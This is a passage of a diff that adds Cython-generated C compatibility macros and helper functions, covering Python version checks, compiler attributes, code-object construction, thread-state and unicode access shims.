3 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 1 + #endif + #ifndef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 1 + #endif + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #if PY_VERSION_HEX < 0x030300F0 || PY_VERSION_HEX >= 0x030B00A2 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #elif !defined(CYTHON_USE_UNICODE_WRITER) + #define CYTHON_USE_UNICODE_WRITER 1 + #endif + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #ifndef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 1 + #endif + #ifndef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL (PY_MAJOR_VERSION < 3 || PY_VERSION_HEX >= 0x03060000 && PY_VERSION_HEX < 0x030C00A6) + #endif + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL (PY_VERSION_HEX >= 0x030700A1) + #endif + #ifndef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 1 + #endif + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #if PY_VERSION_HEX < 0x030400a1 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #elif !defined(CYTHON_USE_TP_FINALIZE) + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #if PY_VERSION_HEX < 0x030600B1 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #elif !defined(CYTHON_USE_DICT_VERSIONS) + #define CYTHON_USE_DICT_VERSIONS (PY_VERSION_HEX < 0x030C00A5) + #endif + #if PY_VERSION_HEX < 0x030700A3 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #elif !defined(CYTHON_USE_EXC_INFO_STACK) + #define CYTHON_USE_EXC_INFO_STACK 1 + #endif + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 1 + #endif +#endif +#if !defined(CYTHON_FAST_PYCCALL) +#define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) +#endif +#if !defined(CYTHON_VECTORCALL) +#define CYTHON_VECTORCALL (CYTHON_FAST_PYCCALL && PY_VERSION_HEX >= 0x030800B1) +#endif +#define CYTHON_BACKPORT_VECTORCALL (CYTHON_METH_FASTCALL && PY_VERSION_HEX < 0x030800B1) +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_MAJOR_VERSION < 3 + #include "longintrepr.h" + #endif + #undef SHIFT + #undef BASE + #undef MASK + #ifdef SIZEOF_VOID_P + enum { __pyx_check_sizeof_voidp = 1 / (int)(SIZEOF_VOID_P == sizeof(void*)) }; + #endif +#endif +#ifndef __has_attribute + #define __has_attribute(x) 0 +#endif +#ifndef __has_cpp_attribute + #define __has_cpp_attribute(x) 0 +#endif +#ifndef CYTHON_RESTRICT + #if defined(__GNUC__) + #define CYTHON_RESTRICT __restrict__ + #elif defined(_MSC_VER) && _MSC_VER >= 1400 + #define CYTHON_RESTRICT __restrict + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_RESTRICT restrict + #else + #define CYTHON_RESTRICT + #endif +#endif +#ifndef CYTHON_UNUSED + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(maybe_unused) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(maybe_unused) + #define CYTHON_UNUSED [[maybe_unused]] + #endif + #endif + #endif +#endif +#ifndef CYTHON_UNUSED +# if defined(__GNUC__) +# if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_UNUSED_VAR +# if defined(__cplusplus) + template void CYTHON_UNUSED_VAR( const T& ) { } +# else +# define CYTHON_UNUSED_VAR(x) (void)(x) +# endif +#endif +#ifndef CYTHON_MAYBE_UNUSED_VAR + #define CYTHON_MAYBE_UNUSED_VAR(x) CYTHON_UNUSED_VAR(x) +#endif +#ifndef CYTHON_NCP_UNUSED +# if CYTHON_COMPILING_IN_CPYTHON +# define CYTHON_NCP_UNUSED +# else +# define CYTHON_NCP_UNUSED CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_USE_CPP_STD_MOVE + #if defined(__cplusplus) && (\ + __cplusplus >= 201103L || (defined(_MSC_VER) && _MSC_VER >= 1600)) + #define CYTHON_USE_CPP_STD_MOVE 1 + #else + #define CYTHON_USE_CPP_STD_MOVE 0 + #endif +#endif +#define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) +#ifdef _MSC_VER + #ifndef _MSC_STDINT_H_ + #if _MSC_VER < 1300 + typedef unsigned char uint8_t; + typedef unsigned short uint16_t; + typedef unsigned int uint32_t; + #else + typedef unsigned __int8 uint8_t; + typedef unsigned __int16 uint16_t; + typedef unsigned __int32 uint32_t; + #endif + #endif + #if _MSC_VER < 1300 + #ifdef _WIN64 + typedef unsigned long long __pyx_uintptr_t; + #else + typedef unsigned int __pyx_uintptr_t; + #endif + #else + #ifdef _WIN64 + typedef unsigned __int64 __pyx_uintptr_t; + #else + typedef unsigned __int32 __pyx_uintptr_t; + #endif + #endif +#else + #include + typedef uintptr_t __pyx_uintptr_t; +#endif +#ifndef CYTHON_FALLTHROUGH + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(fallthrough) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(fallthrough) + #define CYTHON_FALLTHROUGH [[fallthrough]] + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_cpp_attribute(clang::fallthrough) + #define CYTHON_FALLTHROUGH [[clang::fallthrough]] + #elif __has_cpp_attribute(gnu::fallthrough) + #define CYTHON_FALLTHROUGH [[gnu::fallthrough]] + #endif + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_attribute(fallthrough) + #define CYTHON_FALLTHROUGH __attribute__((fallthrough)) + #else + #define CYTHON_FALLTHROUGH + #endif + #endif + #if defined(__clang__) && defined(__apple_build_version__) + #if __apple_build_version__ < 7000000 + #undef CYTHON_FALLTHROUGH + #define CYTHON_FALLTHROUGH + #endif + #endif +#endif +#ifdef __cplusplus + template + struct __PYX_IS_UNSIGNED_IMPL {static const bool value = T(0) < T(-1);}; + #define __PYX_IS_UNSIGNED(type) (__PYX_IS_UNSIGNED_IMPL::value) +#else + #define __PYX_IS_UNSIGNED(type) (((type)-1) > 0) +#endif +#if CYTHON_COMPILING_IN_PYPY == 1 + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x030A0000) +#else + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000) +#endif +#define __PYX_REINTERPRET_FUNCION(func_pointer, other_pointer) ((func_pointer)(void(*)(void))(other_pointer)) + +#ifndef CYTHON_INLINE + #if defined(__clang__) + #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) + #elif defined(__GNUC__) + #define CYTHON_INLINE __inline__ + #elif defined(_MSC_VER) + #define CYTHON_INLINE __inline + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_INLINE inline + #else + #define CYTHON_INLINE + #endif +#endif + +#define __PYX_BUILD_PY_SSIZE_T "n" +#define CYTHON_FORMAT_SSIZE_T "z" +#if PY_MAJOR_VERSION < 3 + #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" + #define __Pyx_DefaultClassType PyClass_Type + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_BUILTIN_MODULE_NAME "builtins" + #define __Pyx_DefaultClassType PyType_Type +#if CYTHON_COMPILING_IN_LIMITED_API + static CYTHON_INLINE PyObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyObject *exception_table = NULL; + PyObject *types_module=NULL, *code_type=NULL, *result=NULL; + #if __PYX_LIMITED_VERSION_HEX < 0x030B0000 + PyObject *version_info; + PyObject *py_minor_version = NULL; + #endif + long minor_version = 0; + PyObject *type, *value, *traceback; + PyErr_Fetch(&type, &value, &traceback); + #if __PYX_LIMITED_VERSION_HEX >= 0x030B0000 + minor_version = 11; + #else + if (!(version_info = PySys_GetObject("version_info"))) goto end; + if (!(py_minor_version = PySequence_GetItem(version_info, 1))) goto end; + minor_version = PyLong_AsLong(py_minor_version); + Py_DECREF(py_minor_version); + if (minor_version == -1 && PyErr_Occurred()) goto end; + #endif + if (!(types_module = PyImport_ImportModule("types"))) goto end; + if (!(code_type = PyObject_GetAttrString(types_module, "CodeType"))) goto end; + if (minor_version <= 7) { + (void)p; + result = PyObject_CallFunction(code_type, "iiiiiOOOOOOiOO", a, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else if (minor_version <= 10) { + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else { + if (!(exception_table = PyBytes_FromStringAndSize(NULL, 0))) goto end; + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, name, fline, lnos, exception_table, fv, cell); + } + end: + Py_XDECREF(code_type); + Py_XDECREF(exception_table); + Py_XDECREF(types_module); + if (type) { + PyErr_Restore(type, value, traceback); + } + return result; + } + #ifndef CO_OPTIMIZED + #define CO_OPTIMIZED 0x0001 + #endif + #ifndef CO_NEWLOCALS + #define CO_NEWLOCALS 0x0002 + #endif + #ifndef CO_VARARGS + #define CO_VARARGS 0x0004 + #endif + #ifndef CO_VARKEYWORDS + #define CO_VARKEYWORDS 0x0008 + #endif + #ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x0200 + #endif + #ifndef CO_GENERATOR + #define CO_GENERATOR 0x0020 + #endif + #ifndef CO_COROUTINE + #define CO_COROUTINE 0x0080 + #endif +#elif PY_VERSION_HEX >= 0x030B0000 + static CYTHON_INLINE PyCodeObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyCodeObject *result; + PyObject *empty_bytes = PyBytes_FromStringAndSize("", 0); + if (!empty_bytes) return NULL; + result = + #if PY_VERSION_HEX >= 0x030C0000 + PyUnstable_Code_NewWithPosOnlyArgs + #else + PyCode_NewWithPosOnlyArgs + #endif + (a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, name, fline, lnos, empty_bytes); + Py_DECREF(empty_bytes); + return result; + } +#elif PY_VERSION_HEX >= 0x030800B2 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_NewWithPosOnlyArgs(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#endif +#endif +#if PY_VERSION_HEX >= 0x030900A4 || defined(Py_IS_TYPE) + #define __Pyx_IS_TYPE(ob, type) Py_IS_TYPE(ob, type) +#else + #define __Pyx_IS_TYPE(ob, type) (((const PyObject*)ob)->ob_type == (type)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_Is) + #define __Pyx_Py_Is(x, y) Py_Is(x, y) +#else + #define __Pyx_Py_Is(x, y) ((x) == (y)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsNone) + #define __Pyx_Py_IsNone(ob) Py_IsNone(ob) +#else + #define __Pyx_Py_IsNone(ob) __Pyx_Py_Is((ob), Py_None) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsTrue) + #define __Pyx_Py_IsTrue(ob) Py_IsTrue(ob) +#else + #define __Pyx_Py_IsTrue(ob) __Pyx_Py_Is((ob), Py_True) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsFalse) + #define __Pyx_Py_IsFalse(ob) Py_IsFalse(ob) +#else + #define __Pyx_Py_IsFalse(ob) __Pyx_Py_Is((ob), Py_False) +#endif +#define __Pyx_NoneAsNull(obj) (__Pyx_Py_IsNone(obj) ? NULL : (obj)) +#if PY_VERSION_HEX >= 0x030900F0 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_GC_IsFinalized(o) PyObject_GC_IsFinalized(o) +#else + #define __Pyx_PyObject_GC_IsFinalized(o) _PyGC_FINALIZED(o) +#endif +#ifndef CO_COROUTINE + #define CO_COROUTINE 0x80 +#endif +#ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x200 +#endif +#ifndef Py_TPFLAGS_CHECKTYPES + #define Py_TPFLAGS_CHECKTYPES 0 +#endif +#ifndef Py_TPFLAGS_HAVE_INDEX + #define Py_TPFLAGS_HAVE_INDEX 0 +#endif +#ifndef Py_TPFLAGS_HAVE_NEWBUFFER + #define Py_TPFLAGS_HAVE_NEWBUFFER 0 +#endif +#ifndef Py_TPFLAGS_HAVE_FINALIZE + #define Py_TPFLAGS_HAVE_FINALIZE 0 +#endif +#ifndef Py_TPFLAGS_SEQUENCE + #define Py_TPFLAGS_SEQUENCE 0 +#endif +#ifndef Py_TPFLAGS_MAPPING + #define Py_TPFLAGS_MAPPING 0 +#endif +#ifndef METH_STACKLESS + #define METH_STACKLESS 0 +#endif +#if PY_VERSION_HEX <= 0x030700A3 || !defined(METH_FASTCALL) + #ifndef METH_FASTCALL + #define METH_FASTCALL 0x80 + #endif + typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject *const *args, Py_ssize_t nargs); + typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject *const *args, + Py_ssize_t nargs, PyObject *kwnames); +#else + #if PY_VERSION_HEX >= 0x030d00A4 + # define __Pyx_PyCFunctionFast PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords PyCFunctionFastWithKeywords + #else + # define __Pyx_PyCFunctionFast _PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords + #endif +#endif +#if CYTHON_METH_FASTCALL + #define __Pyx_METH_FASTCALL METH_FASTCALL + #define __Pyx_PyCFunction_FastCall __Pyx_PyCFunctionFast + #define __Pyx_PyCFunction_FastCallWithKeywords __Pyx_PyCFunctionFastWithKeywords +#else + #define __Pyx_METH_FASTCALL METH_VARARGS + #define __Pyx_PyCFunction_FastCall PyCFunction + #define __Pyx_PyCFunction_FastCallWithKeywords PyCFunctionWithKeywords +#endif +#if CYTHON_VECTORCALL + #define __pyx_vectorcallfunc vectorcallfunc + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET PY_VECTORCALL_ARGUMENTS_OFFSET + #define __Pyx_PyVectorcall_NARGS(n) PyVectorcall_NARGS((size_t)(n)) +#elif CYTHON_BACKPORT_VECTORCALL + typedef PyObject *(*__pyx_vectorcallfunc)(PyObject *callable, PyObject *const *args, + size_t nargsf, PyObject *kwnames); + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET ((size_t)1 << (8 * sizeof(size_t) - 1)) + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(((size_t)(n)) & ~__Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET)) +#else + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET 0 + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(n)) +#endif +#if PY_MAJOR_VERSION >= 0x030900B1 +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_CheckExact(func) +#else +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_Check(func) +#endif +#define __Pyx_CyOrPyCFunction_Check(func) PyCFunction_Check(func) +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) (((PyCFunctionObject*)(func))->m_ml->ml_meth) +#elif !CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) PyCFunction_GET_FUNCTION(func) +#endif +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FLAGS(func) (((PyCFunctionObject*)(func))->m_ml->ml_flags) +static CYTHON_INLINE PyObject* __Pyx_CyOrPyCFunction_GET_SELF(PyObject *func) { + return (__Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_STATIC) ? NULL : ((PyCFunctionObject*)func)->m_self; +} +#endif +static CYTHON_INLINE int __Pyx__IsSameCFunction(PyObject *func, void *cfunc) { +#if CYTHON_COMPILING_IN_LIMITED_API + return PyCFunction_Check(func) && PyCFunction_GetFunction(func) == (PyCFunction) cfunc; +#else + return PyCFunction_Check(func) && PyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +#endif +} +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCFunction(func, cfunc) +#if __PYX_LIMITED_VERSION_HEX < 0x030900B1 + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) ((void)m, PyType_FromSpecWithBases(s, b)) + typedef PyObject *(*__Pyx_PyCMethod)(PyObject *, PyTypeObject *, PyObject *const *, size_t, PyObject *); +#else + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) PyType_FromModuleAndSpec(m, s, b) + #define __Pyx_PyCMethod PyCMethod +#endif +#ifndef METH_METHOD + #define METH_METHOD 0x200 +#endif +#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) + #define PyObject_Malloc(s) PyMem_Malloc(s) + #define PyObject_Free(p) PyMem_Free(p) + #define PyObject_Realloc(p) PyMem_Realloc(p) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) +#else + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyThreadState_Current PyThreadState_Get() +#elif !CYTHON_FAST_THREAD_STATE + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#elif PY_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyThreadState_Current PyThreadState_GetUnchecked() +#elif PY_VERSION_HEX >= 0x03060000 + #define __Pyx_PyThreadState_Current _PyThreadState_UncheckedGet() +#elif PY_VERSION_HEX >= 0x03000000 + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#else + #define __Pyx_PyThreadState_Current _PyThreadState_Current +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE void *__Pyx_PyModule_GetState(PyObject *op) +{ + void *result; + result = PyModule_GetState(op); + if (!result) + Py_FatalError("Couldn't find the module state"); + return result; +} +#endif +#define __Pyx_PyObject_GetSlot(obj, name, func_ctype) __Pyx_PyType_GetSlot(Py_TYPE(obj), name, func_ctype) +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((func_ctype) PyType_GetSlot((type), Py_##name)) +#else + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((type)->name) +#endif +#if PY_VERSION_HEX < 0x030700A2 && !defined(PyThread_tss_create) && !defined(Py_tss_NEEDS_INIT) +#include "pythread.h" +#define Py_tss_NEEDS_INIT 0 +typedef int Py_tss_t; +static CYTHON_INLINE int PyThread_tss_create(Py_tss_t *key) { + *key = PyThread_create_key(); + return 0; +} +static CYTHON_INLINE Py_tss_t * PyThread_tss_alloc(void) { + Py_tss_t *key = (Py_tss_t *)PyObject_Malloc(sizeof(Py_tss_t)); + *key = Py_tss_NEEDS_INIT; + return key; +} +static CYTHON_INLINE void PyThread_tss_free(Py_tss_t *key) { + PyObject_Free(key); +} +static CYTHON_INLINE int PyThread_tss_is_created(Py_tss_t *key) { + return *key != Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE void PyThread_tss_delete(Py_tss_t *key) { + PyThread_delete_key(*key); + *key = Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE int PyThread_tss_set(Py_tss_t *key, void *value) { + return PyThread_set_key_value(*key, value); +} +static CYTHON_INLINE void * PyThread_tss_get(Py_tss_t *key) { + return PyThread_get_key_value(*key); +} +#endif +#if PY_MAJOR_VERSION < 3 + #if CYTHON_COMPILING_IN_PYPY + #if PYPY_VERSION_NUM < 0x07030600 + #if defined(__cplusplus) && __cplusplus >= 201402L + [[deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")]] + #elif defined(__GNUC__) || defined(__clang__) + __attribute__ ((__deprecated__("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6"))) + #elif defined(_MSC_VER) + __declspec(deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")) + #endif + static CYTHON_INLINE int PyGILState_Check(void) { + return 0; + } + #else // PYPY_VERSION_NUM < 0x07030600 + #endif // PYPY_VERSION_NUM < 0x07030600 + #else + static CYTHON_INLINE int PyGILState_Check(void) { + PyThreadState * tstate = _PyThreadState_Current; + return tstate && (tstate == PyGILState_GetThisThreadState()); + } + #endif +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030d0000 || defined(_PyDict_NewPresized) +#define __Pyx_PyDict_NewPresized(n) ((n <= 8) ? PyDict_New() : _PyDict_NewPresized(n)) +#else +#define __Pyx_PyDict_NewPresized(n) PyDict_New() +#endif +#if PY_MAJOR_VERSION >= 3 || CYTHON_FUTURE_DIVISION + #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) +#else + #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX > 0x030600B4 && PY_VERSION_HEX < 0x030d0000 && CYTHON_USE_UNICODE_INTERNALS +#define __Pyx_PyDict_GetItemStrWithError(dict, name) _PyDict_GetItem_KnownHash(dict, name, ((PyASCIIObject *) name)->hash) +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStr(PyObject *dict, PyObject *name) { + PyObject *res = __Pyx_PyDict_GetItemStrWithError(dict, name); + if (res == NULL) PyErr_Clear(); + return res; +} +#elif PY_MAJOR_VERSION >= 3 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07020000) +#define __Pyx_PyDict_GetItemStrWithError PyDict_GetItemWithError +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#else +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStrWithError(PyObject *dict, PyObject *name) { +#if CYTHON_COMPILING_IN_PYPY + return PyDict_GetItem(dict, name); +#else + PyDictEntry *ep; + PyDictObject *mp = (PyDictObject*) dict; + long hash = ((PyStringObject *) name)->ob_shash; + assert(hash != -1); + ep = (mp->ma_lookup)(mp, name, hash); + if (ep == NULL) { + return NULL; + } + return ep->me_value; +#endif +} +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#endif +#if CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyType_GetFlags(tp) (((PyTypeObject *)tp)->tp_flags) + #define __Pyx_PyType_HasFeature(type, feature) ((__Pyx_PyType_GetFlags(type) & (feature)) != 0) + #define __Pyx_PyObject_GetIterNextFunc(obj) (Py_TYPE(obj)->tp_iternext) +#else + #define __Pyx_PyType_GetFlags(tp) (PyType_GetFlags((PyTypeObject *)tp)) + #define __Pyx_PyType_HasFeature(type, feature) PyType_HasFeature(type, feature) + #define __Pyx_PyObject_GetIterNextFunc(obj) PyIter_Next +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyObject_GenericSetAttr((PyObject*)tp, k, v) +#else + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyDict_SetItem(tp->tp_dict, k, v) +#endif +#if CYTHON_USE_TYPE_SPECS && PY_VERSION_HEX >= 0x03080000 +#define __Pyx_PyHeapTypeObject_GC_Del(obj) {\ + PyTypeObject *type = Py_TYPE((PyObject*)obj);\ + assert(__Pyx_PyType_HasFeature(type, Py_TPFLAGS_HEAPTYPE));\ + PyObject_GC_Del(obj);\ + Py_DECREF(type);\ +} +#else +#define __Pyx_PyHeapTypeObject_GC_Del(obj) PyObject_GC_Del(obj) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define CYTHON_PEP393_ENABLED 1 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GetLength(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_ReadChar(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((void)u, 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((void)u, (0)) + #define __Pyx_PyUnicode_DATA(u) ((void*)u) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)k, PyUnicode_ReadChar((PyObject*)(d), i)) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GetLength(u)) +#elif PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) + #define CYTHON_PEP393_ENABLED 1 + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_READY(op) (0) + #else + #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ + 0 : _PyUnicode_Ready((PyObject *)(op))) + #endif + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) + #define __Pyx_PyUnicode_KIND(u) ((int)PyUnicode_KIND(u)) + #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) + #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, (Py_UCS4) ch) + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_LENGTH(u)) + #else + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03090000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : ((PyCompactUnicodeObject *)(u))->wstr_length)) + #else + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) + #endif + #endif +#else + #define CYTHON_PEP393_ENABLED 0 + #define PyUnicode_1BYTE_KIND 1 + #define PyUnicode_2BYTE_KIND 2 + #define PyUnicode_4BYTE_KIND 4 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) 